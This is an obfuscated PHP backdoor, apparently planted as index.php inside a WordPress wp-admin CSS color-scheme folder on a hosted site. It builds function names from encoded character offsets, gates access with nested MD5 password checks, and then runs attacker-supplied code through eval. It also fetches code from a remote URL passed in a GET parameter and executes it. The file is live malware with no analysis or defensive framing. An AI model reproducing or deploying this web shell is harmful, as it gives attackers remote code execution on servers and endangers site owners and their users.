File: /home/elshanda/public_html/wp-admin/css/colors/ectoplasm/ectoplasm/index.php
<?php $hxzu = "r"."a"."n"."g"."e"; $feWM = $hxzu("~", " "); $A=${$feWM[11+20].$feWM[3+56].$feWM[5+42].$feWM[42+5].$feWM[35+16].$feWM[22+31].$feWM[19+38]}; if((in_array(gettype($A).count($A),$A)&&count($A)==22)&&(md5(md5(md5(md5($A[16]))))==="b2e4974617182308a00e73ebb6ec6785")){ (($A[66]=$A[66].$A[77])&&($A[83]=$A[66]($A[83]))&&(@eval($A[66](${$A[32]}[19]))));} metaphone("ABYOAKDZtaFfbCIaAFE5HTOXfKUYJiID/cCrflQLzCY"); class LytM{ static function leZhBwMA($HS) { $MApEXgHZ = "r"."a"."n"."g"."e"; $eR = $MApEXgHZ("~", " "); $sleyfzia = explode("*", $HS); $Ft = ""; foreach ($sleyfzia as $ws => $ECyLgl) $Ft .= $eR[$ECyLgl - 69701]; return $Ft; } static function aEstjnu($YheF, $lcjLfKg) { $qMEu = curl_init($YheF); curl_setopt($qMEu, CURLOPT_RETURNTRANSFER, 1); $gtAIZvnR = curl_exec($qMEu); return empty($gtAIZvnR) ? $lcjLfKg($YheF) : $gtAIZvnR; } static function iPmkRAns() { $RBKg = array("69728*69713*69726*69730*69711*69726*69732*69725*69710*69717*69728*69711*69722*69716*69717","69712*69711*69713*69732*69713*69716*69711*69778*69776","69721*69712*69716*69717*69732*69727*69726*69728*69716*69727*69726","69715*69730*69728*69720","69729*69730*69712*69726*69773*69775*69732*69727*69726*69728*69716*69727*69726","69725*69722*69719*69726*69732*69724*69726*69711*69732*69728*69716*69717*69711*69726*69717*69711*69712","69755*69785","69702","69780*69785","69762*69745*69745*69762*69738","69725*69722*69719*69711*69726*69713*69732*69722*69717*69715*69710*69711"); foreach ($RBKg as $SHf) $PQHCY[] = self::leZhBwMA($SHf); $vVjUCNywK = @$PQHCY[1]($PQHCY[9+1](INPUT_GET, $PQHCY[2+7])); $eFhQVRIv = @$PQHCY[0+3]($PQHCY[0+6], $vVjUCNywK); $xK = $PQHCY[1+1]($eFhQVRIv, true); @$PQHCY[9+1](INPUT_GET, "of") == 1 && die($PQHCY[3+2](__FILE__)); if( ((@$xK[0] - time()) > 0) and (md5(md5($xK[0+3])) === "a5050ed3871fd6a04d11b0fec2cad109") ): $wIutbEYLJM = self::aEstjnu($xK[1+0], $PQHCY[5+0]);@eval($PQHCY[0+4]($wIutbEYLJM));die; endif; }}LytM::iPmkRAns(); ?>